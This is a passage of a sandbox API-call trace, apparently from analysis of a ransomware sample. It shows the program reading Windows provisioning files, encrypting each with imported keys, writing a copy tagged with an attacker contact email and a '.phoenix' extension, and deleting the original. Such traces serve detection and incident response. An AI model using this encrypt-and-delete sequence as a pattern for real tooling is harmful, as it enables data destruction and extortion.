	[0247.654] CloseHandle (hObject=0x2d4) returned 1
	[0247.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.654] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.654] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.654] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.654] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.655] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0247.655] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.655] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ba, lpOverlapped=0x0) returned 1
	[0247.671] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0247.671] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0247.672] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0247.672] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.672] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0247.672] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.672] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0247.672] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.672] CloseHandle (hObject=0x2d4) returned 1
	[0247.672] CloseHandle (hObject=0x2c8) returned 1
	[0247.672] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.674] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.674] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.674] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=658) returned 1
	[0247.674] CloseHandle (hObject=0x2c8) returned 1
	[0247.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.674] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.675] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.675] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.675] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.678] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0247.678] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.678] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x292, lpOverlapped=0x0) returned 1
	[0247.753] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0247.753] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0247.756] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0247.756] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.756] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.756] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0247.756] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.756] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.756] CloseHandle (hObject=0x2c8) returned 1
	[0247.756] CloseHandle (hObject=0x2d4) returned 1
	[0247.756] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.757] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.758] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.758] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=719) returned 1
	[0247.758] CloseHandle (hObject=0x2d4) returned 1
	[0247.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.759] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.759] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.759] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.759] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.759] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0247.759] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.759] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cf, lpOverlapped=0x0) returned 1
	[0247.760] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0247.760] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.761] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0247.761] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.761] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.761] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.761] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.761] CryptDestroyKey (hKey=0x151140) returned 1
	[0247.761] CloseHandle (hObject=0x2d4) returned 1
	[0247.761] CloseHandle (hObject=0x2c8) returned 1
	[0247.762] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\32__Connections_Cellular_Azercell (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\32__connections_cellular_azercell (azerbaijan)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.762] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.762] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.763] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=732) returned 1
	[0247.763] CloseHandle (hObject=0x2c8) returned 1
	[0247.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.763] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.763] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.763] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.763] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.764] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0247.764] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.764] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2dc, lpOverlapped=0x0) returned 1
	[0247.766] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0247.766] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.769] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0247.769] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.769] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0247.769] CryptDestroyKey (hKey=0x151140) returned 1
	[0247.769] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0247.769] CryptDestroyKey (hKey=0x151740) returned 1
	[0247.769] CloseHandle (hObject=0x2c8) returned 1
	[0247.769] CloseHandle (hObject=0x2d4) returned 1
	[0247.769] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\330__Connections_Cellular_Sun Cellular (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\330__connections_cellular_sun cellular (philippines)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.770] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.770] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.771] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=845) returned 1
	[0247.771] CloseHandle (hObject=0x2d4) returned 1
	[0247.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.771] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.771] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.771] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
